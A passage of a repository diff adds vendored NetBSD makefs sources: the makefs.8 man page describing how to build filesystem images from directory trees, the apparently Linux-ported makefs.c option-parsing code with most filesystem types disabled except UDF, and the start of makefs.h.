if (!(_pw_passwd.pw_shell = strsep(&bp, ":\n"))) /* shell */
return 0;
if (strchr(bp, ':') != NULL)
return 0;
return 1;
}

460
thirdparty/makefs/makefs.8 vendored Normal file
View File

@@ -0,0 +1,460 @@
.\" $NetBSD: makefs.8,v 1.53 2013/08/06 20:16:54 wiz Exp $
.\"
.\" Copyright (c) 2001-2003 Wasabi Systems, Inc.
.\" All rights reserved.
.\"
.\" Written by Luke Mewburn for Wasabi Systems, Inc.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed for the NetBSD Project by
.\" Wasabi Systems, Inc.
.\" 4. The name of Wasabi Systems, Inc. may not be used to endorse
.\" or promote products derived from this software without specific prior
.\" written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
.\" TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
.\" PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
.\" BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
.\" CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
.\" SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
.\" INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
.\" CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
.\" ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
.\" POSSIBILITY OF SUCH DAMAGE.
.\"
.Dd August 6, 2013
.Dt MAKEFS 8
.Os
.Sh NAME
.Nm makefs
.Nd create a file system image from a directory tree
.Sh SYNOPSIS
.Nm
.Op Fl rxZ
.Op Fl B Ar endian
.Op Fl b Ar free-blocks
.Op Fl d Ar debug-mask
.Op Fl F Ar mtree-specfile
.Op Fl f Ar free-files
.Op Fl M Ar minimum-size
.Op Fl m Ar maximum-size
.Op Fl N Ar userdb-dir
.Op Fl O Ar offset
.Op Fl o Ar fs-options
.Op Fl S Ar sector-size
.Op Fl s Ar image-size
.Op Fl t Ar fs-type
.Ar image-file
.Ar directory
.Op Ar extra-directory ...
.Sh DESCRIPTION
The utility
.Nm
creates a file system image into
.Ar image-file
from the directory tree
.Ar directory .
If any optional directory trees are passed in the
.Ar extra-directory
arguments, then the directory tree of each argument will be merged
into the
.Ar directory
first before creating
.Ar image-file .
No special devices or privileges are required to perform this task.
.Pp
The options are as follows:
.Bl -tag -width flag
.It Fl B Ar endian
Set the byte order of the image to
.Ar endian .
Valid byte orders are
.Ql 4321 ,
.Ql big ,
or
.Ql be
for big endian, and
.Ql 1234 ,
.Ql little ,
or
.Ql le
for little endian.
Some file systems may have a fixed byte order; in those cases this
argument will be ignored.
.It Fl b Ar free-blocks
Ensure that a minimum of
.Ar free-blocks
free blocks exist in the image.
An optional
.Ql %
suffix may be provided to indicate that
.Ar free-blocks
indicates a percentage of the calculated image size.
.It Fl d Ar debug-mask
Enable various levels of debugging, depending upon which bits are
set in
.Ar debug-mask .
XXX: document these
.It Fl F Ar mtree-specfile
Use
.Ar mtree-specfile
as an
.Xr mtree 8
.Sq specfile
specification.
.Pp
If a specfile entry exists in the underlying file system, its
permissions and modification time will be used unless specifically
overridden by the specfile.
An error will be raised if the type of entry in the specfile
conflicts with that of an existing entry.
.Pp
In the opposite case (where a specfile entry does not have an entry
in the underlying file system) the following occurs:
If the specfile entry is marked
.Sy optional ,
the specfile entry is ignored.
Otherwise, the entry will be created in the image, and it is
necessary to specify at least the following parameters in the
specfile:
.Sy type ,
.Sy mode ,
.Sy gname ,
or
.Sy gid ,
and
.Sy uname
or
.Sy uid ,
.Sy device
(in the case of block or character devices), and
.Sy link
(in the case of symbolic links).
If
.Sy time
isn't provided, the current time will be used.
If
.Sy flags
isn't provided, the current file flags will be used.
Missing regular file entries will be created as zero-length files.
.It Fl f Ar free-files
Ensure that a minimum of
.Ar free-files
free files (inodes) exist in the image.
An optional
.Ql %
suffix may be provided to indicate that
.Ar free-files
indicates a percentage of the calculated image size.
.It Fl M Ar minimum-size
Set the minimum size of the file system image to
.Ar minimum-size .
.It Fl m Ar maximum-size
Set the maximum size of the file system image to
.Ar maximum-size .
An error will be raised if the target file system needs to be larger
than this to accommodate the provided directory tree.
.It Fl N Ar userdb-dir
Use the user database text file
.Pa master.passwd
and group database text file
.Pa group
from
.Ar userdb-dir ,
rather than using the results from the system's
.Xr getpwnam 3
and
.Xr getgrnam 3
(and related) library calls.
.It Fl O Ar offset
Instead of creating the filesystem at the beginning of the file, start
at offset.
Valid only for
.Sy ffs
and
.Sy msdos .
.It Fl o Ar fs-options
Set file system specific options.
.Ar fs-options
is a comma separated list of options.
Valid file system specific options are detailed below.
.It Fl r
When merging multiple directories replace duplicate files with the last found.
.It Fl S Ar sector-size
Set the file system sector size to
.Ar sector-size .
.\" XXX: next line also true for cd9660?
Defaults to 512.
.It Fl s Ar image-size
Set the size of the file system image to
.Ar image-size .
.It Fl t Ar fs-type
Create an
.Ar fs-type
file system image.
The following file system types are supported:
.Bl -tag -width cd9660 -offset indent
.It Sy ffs
BSD fast file system (default).
.It Sy cd9660
ISO 9660 file system.
.It Sy chfs
Chip flash file system.
.It Sy msdos
FAT12, FAT16, or FAT32 file system.
.It Sy v7fs
7th Edition(V7) file system.
.It Sy udf
ISO/Ecma UDF file system.
.El
.It Fl x
Exclude file system nodes not explicitly listed in the specfile.
.It Fl Z
Create a sparse file for
.Sy ffs .
This is useful for virtual machine images.
.El
.Pp
Where sizes are specified, a decimal number of bytes is expected.
Two or more numbers may be separated by an
.Dq x
to indicate a product.
Each number may have one of the following optional suffixes:
.Bl -tag -width 3n -offset indent -compact
.It b
Block; multiply by 512
.It k
Kibi; multiply by 1024 (1 KiB)
.It m
Mebi; multiply by 1048576 (1 MiB)
.It g
Gibi; multiply by 1073741824 (1 GiB)
.It t
Tebi; multiply by 1099511627776 (1 TiB)
.It w
Word; multiply by the number of bytes in an integer
.El
.\"
.\"
.Ss FFS-specific options
.Sy ffs
images have ffs-specific optional parameters that may be provided.
Each of the options consists of a keyword, an equal sign
.Pq Ql = ,
and a value.
The following keywords are supported:
.Pp
.Bl -tag -width optimization -offset indent -compact
.It Sy avgfilesize
Expected average file size.
.It Sy avgfpdir
Expected number of files per directory.
.It Sy bsize
Block size.
.It Sy density
Bytes per inode.
.It Sy fsize
Fragment size.
.It Sy label
Label name of the image.
.It Sy maxbpg
Maximum blocks per file in a cylinder group.
.It Sy minfree
Minimum % free.
.It Sy optimization
Optimization preference; one of
.Ql space
or
.Ql time .
.It Sy extent
Maximum extent size.
.It Sy maxbpcg
Maximum total number of blocks in a cylinder group.
.It Sy version
UFS version.
1 for FFS (default), 2 for UFS2.
.El
.Ss CD9660-specific options
.Sy cd9660
images have ISO9660-specific optional parameters that may be
provided.
The arguments consist of a keyword and, optionally, an equal sign
.Pq Ql = ,
and a value.
The following keywords are supported:
.Pp
.Bl -tag -width omit-trailing-period -offset indent -compact
.It Sy allow-deep-trees
Allow the directory structure to exceed the maximum specified in
the spec.
.\" .It Sy allow-illegal-chars
.\" Unknown
.\" .It Sy allow-lowercase
.\" Unknown
.It Sy allow-max-name
Allow 37 instead of 33 characters for filenames by omitting the
version id.
.It Sy allow-multidot
Allow multiple dots in a filename.
.It Sy applicationid
Application ID of the image.
.It Sy archimedes
Use the
.Ql ARCHIMEDES
extension to encode
.Tn RISC OS
metadata.
.It Sy chrp-boot
Write an MBR partition table to the image to allow older CHRP hardware to
boot.
.It Sy boot-load-segment
Set load segment for the boot image.
.It Sy bootimage
Filename of a boot image in the format
.Dq sysid;filename ,
where
.Dq sysid
is one of
.Ql i386 ,
.Ql mac68k ,
.Ql macppc ,
or
.Ql powerpc .
.It Sy generic-bootimage
Load a generic boot image into the first 32K of the cd9660 image.
.It Sy hard-disk-boot
Boot image is a hard disk image.
.It Sy keep-bad-images
Don't throw away images whose write was aborted due to an error.
For debugging purposes.
.It Sy label
Label name of the image.
.It Sy no-boot
Boot image is not bootable.
.It Sy no-emul-boot
Boot image is a
.Dq no emulation
ElTorito image.
.It Sy no-trailing-padding
Do not pad the image (apparently Linux needs the padding).
.\" .It Sy omit-trailing-period
.\" Unknown
.It Sy preparer
Preparer ID of the image.
.It Sy publisher
Publisher ID of the image.
.It Sy rockridge
Use RockRidge extensions (for longer filenames, etc.).
.It Sy volumeid
Volume set identifier of the image.
.El
.Ss CHFS-specific options
.Sy chfs
images have chfs-specific optional parameters that may be provided.
Each of the options consists of a keyword, an equal sign
.Pq Ql = ,
and a value.
The following keywords are supported:
.Pp
.Bl -tag -width optimization -offset indent -compact
.It Sy pagesize
Pagesize.
.It Sy erasesize
Erase block size of the media.
.It Sy mediatype
Type of the media.
NOR: 0 or NAND: 1.
.El
.Ss msdos-specific options
See
.Xr newfs_msdos 8
for fs specific options.
.Ss V7FS-specific options
The following keywords are supported:
.Pp
.Bl -tag -width optimization -offset indent -compact
.It Sy pdp
PDP endian.
.It Sy progress
Display a progress meter for the file system construction and file
population.
.El
.Ss UDF-specific options
.Sy udf
images have udf-specific optional parameters that may be provided.
Each of the options consists of a keyword, an equal sign
.Pq Ql = ,
and a value.
The following keywords are supported:
.Pp
.Bl -tag -width optimization -compact
.It Sy disctype
This can have the following values:
.Bl -tag -width cdromXdvdromXbdromXXX -compact
.It Sy cdrom , Sy dvdrom , Sy bdrom
create a read-only fs
.It Sy dvdram , Sy bdre , Sy disk
create a rewritable fs without sparing for defective sectors
.It Sy cdr , Sy dvdr , Sy bdr
create a rewritable fs on once recordable media using a VAT
.It Sy cdrw , Sy dvdrw
create a rewritable fs with sparing for defective sectors
.El
When an optical media is selected here, the sectorsize and the default disc
size is assumed unless given explicitly.
For rom images the disc size is the minimum needed.
.It Sy loglabel
Set the logical volume label of the disc to the specified argument.
.It Sy discid
Set the physical volume label of the disc to the specified argument.
Prepend the physical volume label with a volumeset label separated
with a ':' if wanted.
For strict conformance and interchange, don't set the volumeset label
manually unless it has an unique hex number in the first 8 character
positions.
.It Sy minver
Set the minimum UDF version to be used.
Choose UDF version numbers from 0x102, 0x150, 0x200, and 0x201.
Versions 0x250 and 0x260 are currently not supported
in
.Nm .
.El
.Sh SEE ALSO
.Xr strsuftoll 3 ,
.Xr installboot 8 ,
.Xr mtree 8 ,
.Xr newfs 8
.Sh HISTORY
The
.Nm
utility appeared in
.Nx 1.6 .
.Sh AUTHORS
.An Luke Mewburn
.Aq lukem@NetBSD.org
(original program),
.An Daniel Watt ,
.An Walter Deignan ,
.An Ryan Gabrys ,
.An Alan Perez-Rathke ,
.An Ram Vedam
(cd9660 support),
.An UCHIYAMA Yasushi
(v7fs support),
.An Tamas Toth
(chfs support).
.An Christos Zoulas
(msdos support).
.An Reinoud Zandijk
(udf support).

447
thirdparty/makefs/makefs.c vendored Normal file
View File

@@ -0,0 +1,447 @@
/* $NetBSD: makefs.c,v 1.50 2013/08/05 14:41:57 reinoud Exp $ */
/*
* Copyright (c) 2001-2003 Wasabi Systems, Inc.
* All rights reserved.
*
* Written by Luke Mewburn for Wasabi Systems, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed for the NetBSD Project by
* Wasabi Systems, Inc.
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
* or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <sys/cdefs.h>
#if defined(__RCSID) && !defined(__lint)
__RCSID("$NetBSD: makefs.c,v 1.50 2013/08/05 14:41:57 reinoud Exp $");
#endif /* !__lint */
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdbool.h>
#include <time.h>
#include "util.h"
#include <sys/time.h>
#include <bsd/libutil.h>
#include <bsd/string.h>
#include "makefs.h"
#include "mtree.h"
//#include "cd9660.h"
/* Forward declaration for strsuftoll from strstuff.c */
long long strsuftoll(const char *desc, const char *val, long long min, long long max);
/*
* list of supported file systems and dispatch functions
*/
typedef struct {
const char *type;
void (*prepare_options)(fsinfo_t *);
int (*parse_options)(const char *, fsinfo_t *);
void (*cleanup_options)(fsinfo_t *);
void (*make_fs)(const char *, const char *, fsnode *,
fsinfo_t *);
} fstype_t;
static fstype_t fstypes[] = {
#define ENTRY(name) { \
# name, name ## _prep_opts, name ## _parse_opts, \
name ## _cleanup_opts, name ## _makefs \
}
#if 0
ENTRY(ffs),
ENTRY(cd9660),
ENTRY(chfs),
ENTRY(v7fs),
ENTRY(msdos),
#endif
ENTRY(udf),
{ .type = NULL },
};
u_int debug;
struct timespec start_time;
static fstype_t *get_fstype(const char *);
static void usage(fstype_t *, fsinfo_t *);
int
main(int argc, char *argv[])
{
struct timeval start;
fstype_t *fstype;
fsinfo_t fsoptions;
fsnode *root;
int ch, i, len;
char *specfile;
setprogname(argv[0]);
debug = 0;
if ((fstype = get_fstype(DEFAULT_FSTYPE)) == NULL)
errx(1, "Unknown default fs type `%s'.", DEFAULT_FSTYPE);
/* set default fsoptions */
(void)memset(&fsoptions, 0, sizeof(fsoptions));
fsoptions.fd = -1;
fsoptions.sectorsize = -1;
if (fstype->prepare_options)
fstype->prepare_options(&fsoptions);
specfile = NULL;
if (gettimeofday(&start, NULL) == -1)
err(1, "Unable to get system time");
start_time.tv_sec = start.tv_sec;
start_time.tv_nsec = start.tv_usec * 1000;
while ((ch = getopt(argc, argv, "B:b:d:f:F:M:m:N:O:o:rs:S:t:xZ")) != -1) {
switch (ch) {
case 'B':
if (strcmp(optarg, "be") == 0 ||
strcmp(optarg, "4321") == 0 ||
strcmp(optarg, "big") == 0) {
#if BYTE_ORDER == LITTLE_ENDIAN
fsoptions.needswap = 1;
#endif
} else if (strcmp(optarg, "le") == 0 ||
strcmp(optarg, "1234") == 0 ||
strcmp(optarg, "little") == 0) {
#if BYTE_ORDER == BIG_ENDIAN
fsoptions.needswap = 1;
#endif
} else {
warnx("Invalid endian `%s'.", optarg);
usage(fstype, &fsoptions);
}
break;
case 'b':
len = strlen(optarg) - 1;
if (optarg[len] == '%') {
optarg[len] = '\0';
fsoptions.freeblockpc =
strsuftoll("free block percentage",
optarg, 0LL, 99);
} else {
fsoptions.freeblocks =
strsuftoll("free blocks",
optarg, 0LL, LLONG_MAX);
}
break;
case 'd':
debug = strtoll(optarg, NULL, 0);
break;
case 'f':
len = strlen(optarg) - 1;
if (optarg[len] == '%') {
optarg[len] = '\0';
fsoptions.freefilepc =
strsuftoll("free file percentage",
optarg, 0, 99);
} else {
fsoptions.freefiles =
strsuftoll("free files",
optarg, 0, LLONG_MAX);
}
break;
case 'F':
specfile = optarg;
break;
case 'M':
fsoptions.minsize =
strsuftoll("minimum size", optarg, 1LL, LLONG_MAX);
break;
case 'N':
// if (! setup_getid(optarg))
errx(1,
"Unable to use user and group databases in `%s'",
optarg);
break;
case 'm':
fsoptions.maxsize =
strsuftoll("maximum size", optarg, 1LL, LLONG_MAX);
break;
case 'O':
fsoptions.offset =
strsuftoll("offset", optarg, 0LL, LLONG_MAX);
break;
case 'o':
{
char *p;
while ((p = strsep(&optarg, ",")) != NULL) {
if (*p == '\0')
errx(1, "Empty option");
if (! fstype->parse_options(p, &fsoptions))
usage(fstype, &fsoptions);
}
break;
}
case 'r':
fsoptions.replace = 1;
break;
case 's':
fsoptions.minsize = fsoptions.maxsize =
strsuftoll("size", optarg, 1LL, LLONG_MAX);
break;
case 'S':
fsoptions.sectorsize =
(int)strsuftoll("sector size", optarg,
1LL, INT_MAX);
break;
case 't':
/* Check current one and cleanup if necessary. */
if (fstype->cleanup_options)
fstype->cleanup_options(&fsoptions);
fsoptions.fs_specific = NULL;
if ((fstype = get_fstype(optarg)) == NULL)
errx(1, "Unknown fs type `%s'.", optarg);
fstype->prepare_options(&fsoptions);
break;
case 'x':
fsoptions.onlyspec = 1;
break;
case 'Z':
fsoptions.sparse = 1;
break;
case '?':
default:
usage(fstype, &fsoptions);
/* NOTREACHED */
}
}
if (debug) {
printf("debug mask: 0x%08x\n", debug);
printf("start time: %ld.%ld, %s",
(long)start_time.tv_sec, (long)start_time.tv_nsec,
ctime(&start_time.tv_sec));
}
argc -= optind;
argv += optind;
if (argc < 2)
usage(fstype, &fsoptions);
/* -x must be accompanied by -F */
if (fsoptions.onlyspec != 0 && specfile == NULL)
errx(1, "-x requires -F mtree-specfile.");
/* walk the tree */
TIMER_START(start);
root = walk_dir(argv[1], ".", NULL, NULL, fsoptions.replace);
TIMER_RESULTS(start, "walk_dir");
/* append extra directory */
for (i = 2; i < argc; i++) {
struct stat sb;
if (stat(argv[i], &sb) == -1)
err(1, "Can't stat `%s'", argv[i]);
if (!S_ISDIR(sb.st_mode))
errx(1, "%s: not a directory", argv[i]);
TIMER_START(start);
root = walk_dir(argv[i], ".", NULL, root, fsoptions.replace);
TIMER_RESULTS(start, "walk_dir2");
}
if (specfile) { /* apply a specfile */
TIMER_START(start);
// apply_specfile(specfile, argv[1], root, fsoptions.onlyspec);
TIMER_RESULTS(start, "apply_specfile");
}
if (debug & DEBUG_DUMP_FSNODES) {
printf("\nparent: %s\n", argv[1]);
dump_fsnodes(root);
putchar('\n');
}
/* build the file system */
TIMER_START(start);
fstype->make_fs(argv[0], argv[1], root, &fsoptions);
TIMER_RESULTS(start, "make_fs");
free_fsnodes(root);
exit(0);
/* NOTREACHED */
}
int
set_option(const option_t *options, const char *option, char *buf, size_t len)
{
char *var, *val;
int retval;
assert(option != NULL);
var = strdup(option);
for (val = var; *val; val++)
if (*val == '=') {
*val++ = '\0';
break;
}
retval = set_option_var(options, var, val, buf, len);
free(var);
return retval;
}
int
set_option_var(const option_t *options, const char *var, const char *val,
char *buf, size_t len)
{
char *s;
size_t i;
#define NUM(type) \
if (!*val) { \
*(type *)options[i].value = 1; \
break; \
} \
*(type *)options[i].value = (type)strsuftoll(options[i].desc, val, \
options[i].minimum, options[i].maximum); break
for (i = 0; options[i].name != NULL; i++) {
if (var[1] == '\0') {
if (options[i].letter != var[0])
continue;
} else if (strcmp(options[i].name, var) != 0)
continue;
switch (options[i].type) {
case OPT_BOOL:
*(bool *)options[i].value = 1;
break;
case OPT_STRARRAY:
strlcpy((void *)options[i].value, val, (size_t)
options[i].maximum);
break;
case OPT_STRPTR:
s = strdup(val);
*(char **)options[i].value = s;
break;
case OPT_STRBUF:
if (buf == NULL)
abort();
strlcpy(buf, val, len);
break;
case OPT_INT64:
NUM(uint64_t);
case OPT_INT32:
NUM(uint32_t);
case OPT_INT16:
NUM(uint16_t);
case OPT_INT8:
NUM(uint8_t);
default:
warnx("Unknown type %d in option %s", options[i].type,
val);
return 0;
}
return i;
}
warnx("Unknown option `%s'", var);
return -1;
}
static fstype_t *
get_fstype(const char *type)
{
int i;
for (i = 0; fstypes[i].type != NULL; i++)
if (strcmp(fstypes[i].type, type) == 0)
return (&fstypes[i]);
return (NULL);
}
option_t *
copy_opts(const option_t *o)
{
size_t i;
for (i = 0; o[i].name; i++)
continue;
i++;
return memcpy(calloc(i, sizeof(*o)), o, i * sizeof(*o));
}
static void
usage(fstype_t *fstype, fsinfo_t *fsoptions)
{
const char *prog;
prog = getprogname();
fprintf(stderr,
"Usage: %s [-rxZ] [-B endian] [-b free-blocks] [-d debug-mask]\n"
"\t[-F mtree-specfile] [-f free-files] [-M minimum-size] [-m maximum-size]\n"
"\t[-N userdb-dir] [-O offset] [-o fs-options] [-S sector-size]\n"
"\t[-s image-size] [-t fs-type] image-file directory [extra-directory ...]\n",
"");
if (fstype) {
size_t i;
option_t *o = fsoptions->fs_options;
fprintf(stderr, "\n%s specific options:\n", fstype->type);
for (i = 0; o[i].name != NULL; i++)
fprintf(stderr, "\t%c%c%20.20s\t%s\n",
o[i].letter ? o[i].letter : ' ',
o[i].letter ? ',' : ' ',
o[i].name, o[i].desc);
}
exit(1);
}

267
thirdparty/makefs/makefs.h vendored Normal file
View File

@@ -0,0 +1,267 @@
/* $NetBSD: makefs.h,v 1.35 2013/08/05 14:41:57 reinoud Exp $ */
/*
* Copyright (c) 2001 Wasabi Systems, Inc.
* All rights reserved.
*
* Written by Luke Mewburn for Wasabi Systems, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed for the NetBSD Project by
* Wasabi Systems, Inc.
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
* or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _MAKEFS_H
#define _MAKEFS_H
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#else
#define HAVE_STRUCT_STAT_ST_FLAGS 1
#define HAVE_STRUCT_STAT_ST_GEN 1
#define HAVE_STRUCT_STAT_ST_MTIMENSEC 1
#define HAVE_STRUCT_STATVFS_F_IOSIZE 1
#define HAVE_STRUCT_STAT_BIRTHTIME 1
#define HAVE_FSTATVFS 1
#endif
#include <sys/stat.h>
#include <err.h>
/*
* fsnode -
* a component of the tree; contains a filename, a pointer to
* fsinode, optional symlink name, and tree pointers
*
* fsinode -
* equivalent to an inode, containing target file system inode number,
* refcount (nlink), and stat buffer
*
* A tree of fsnodes looks like this:
*
* name "." "bin" "netbsd"
* type S_IFDIR S_IFDIR S_IFREG
* next > > NULL
* parent NULL NULL NULL
* child NULL v
*
* name "." "ls"
* type S_IFDIR S_IFREG
* next > NULL
* parent ^ ^ (to "bin")
* child NULL NULL
*
* Notes:
* - first always points to first entry, at current level, which
* must be "." when the tree has been built; during build it may
* not be if "." hasn't yet been found by readdir(2).
*/
enum fi_flags {
FI_SIZED = 1<<0, /* inode sized */
FI_ALLOCATED = 1<<1, /* fsinode->ino allocated */
FI_WRITTEN = 1<<2, /* inode written */
};
typedef struct {
uint32_t ino; /* inode number used on target fs */
uint32_t nlink; /* number of links to this entry */
enum fi_flags flags; /* flags used by fs specific code */
struct stat st; /* stat entry */
void *fsuse; /* for storing FS dependent info */
} fsinode;
typedef struct _fsnode {
struct _fsnode *parent; /* parent (NULL if root) */
struct _fsnode *child; /* child (if type == S_IFDIR) */
struct _fsnode *next; /* next */
struct _fsnode *first; /* first node of current level (".") */
uint32_t type; /* type of entry */
fsinode *inode; /* actual inode data */
char *symlink; /* symlink target */
const char *root; /* root path */
char *path; /* directory name */
char *name; /* file name */
int flags; /* misc flags */
} fsnode;
#define FSNODE_F_HASSPEC 0x01 /* fsnode has a spec entry */
/*
* option_t - contains option name, description, pointer to location to store
* result, and range checks for the result. Used to simplify fs specific
* option setting
*/
typedef enum {
OPT_STRARRAY,
OPT_STRPTR,
OPT_STRBUF,
OPT_BOOL,
OPT_INT8,
OPT_INT16,
OPT_INT32,
OPT_INT64
} opttype_t;
typedef struct {
char letter; /* option letter NUL for none */
const char *name; /* option name */
void *value; /* where to stuff the value */
opttype_t type; /* type of entry */
long long minimum; /* minimum for value */
long long maximum; /* maximum for value */
const char *desc; /* option description */
} option_t;
/*
* fsinfo_t - contains various settings and parameters pertaining to
* the image, including current settings, global options, and fs
* specific options
*/
typedef struct makefs_fsinfo {
/* current settings */
off_t size; /* total size */
off_t inodes; /* number of inodes */
uint32_t curinode; /* current inode */
/* image settings */
int fd; /* file descriptor of image */
void *superblock; /* superblock */
int onlyspec; /* only add entries in specfile */
/* global options */
off_t minsize; /* minimum size image should be */
off_t maxsize; /* maximum size image can be */
off_t freefiles; /* free file entries to leave */
off_t freeblocks; /* free blocks to leave */
off_t offset; /* offset from start of file */
int freefilepc; /* free file % */
int freeblockpc; /* free block % */
int needswap; /* non-zero if byte swapping needed */
int sectorsize; /* sector size */
int sparse; /* sparse image, don't fill it with zeros */
int replace; /* replace files when merging */
void *fs_specific; /* File system specific additions. */
option_t *fs_options; /* File system specific options */
} fsinfo_t;
void apply_specfile(const char *, const char *, fsnode *, int);
void dump_fsnodes(fsnode *);
const char * inode_type(mode_t);
int set_option(const option_t *, const char *, char *, size_t);
int set_option_var(const option_t *, const char *, const char *,
char *, size_t);
fsnode * walk_dir(const char *, const char *, fsnode *, fsnode *, int);
void free_fsnodes(fsnode *);
option_t * copy_opts(const option_t *);
#define DECLARE_FUN(fs) \
void fs ## _prep_opts(fsinfo_t *); \
int fs ## _parse_opts(const char *, fsinfo_t *); \
void fs ## _cleanup_opts(fsinfo_t *); \
void fs ## _makefs(const char *, const char *, fsnode *, fsinfo_t *)
DECLARE_FUN(ffs);
DECLARE_FUN(cd9660);
DECLARE_FUN(chfs);
DECLARE_FUN(v7fs);
DECLARE_FUN(msdos);
DECLARE_FUN(udf);
extern u_int debug;
extern struct timespec start_time;
/*
* If -x is specified, we want to exclude nodes which do not appear
* in the spec file.
*/
#define FSNODE_EXCLUDE_P(opts, fsnode) \
((opts)->onlyspec != 0 && ((fsnode)->flags & FSNODE_F_HASSPEC) == 0)
#define DEBUG_TIME 0x00000001
/* debug bits 1..3 unused at this time */
#define DEBUG_WALK_DIR 0x00000010
#define DEBUG_WALK_DIR_NODE 0x00000020
#define DEBUG_WALK_DIR_LINKCHECK 0x00000040
#define DEBUG_DUMP_FSNODES 0x00000080
#define DEBUG_DUMP_FSNODES_VERBOSE 0x00000100
#define DEBUG_FS_PARSE_OPTS 0x00000200
#define DEBUG_FS_MAKEFS 0x00000400
#define DEBUG_FS_VALIDATE 0x00000800
#define DEBUG_FS_CREATE_IMAGE 0x00001000
#define DEBUG_FS_SIZE_DIR 0x00002000
#define DEBUG_FS_SIZE_DIR_NODE 0x00004000
#define DEBUG_FS_SIZE_DIR_ADD_DIRENT 0x00008000
#define DEBUG_FS_POPULATE 0x00010000
#define DEBUG_FS_POPULATE_DIRBUF 0x00020000
#define DEBUG_FS_POPULATE_NODE 0x00040000
#define DEBUG_FS_WRITE_FILE 0x00080000
#define DEBUG_FS_WRITE_FILE_BLOCK 0x00100000
#define DEBUG_FS_MAKE_DIRBUF 0x00200000
#define DEBUG_FS_WRITE_INODE 0x00400000
#define DEBUG_BUF_BREAD 0x00800000
#define DEBUG_BUF_BWRITE 0x01000000
#define DEBUG_BUF_GETBLK 0x02000000
#define DEBUG_APPLY_SPECFILE 0x04000000
#define DEBUG_APPLY_SPECENTRY 0x08000000
#define DEBUG_APPLY_SPECONLY 0x10000000
#define TIMER_START(x) \
if (debug & DEBUG_TIME) \
gettimeofday(&(x), NULL)
#define TIMER_RESULTS(x,d) \
if (debug & DEBUG_TIME) { \
struct timeval end, td; \
gettimeofday(&end, NULL); \
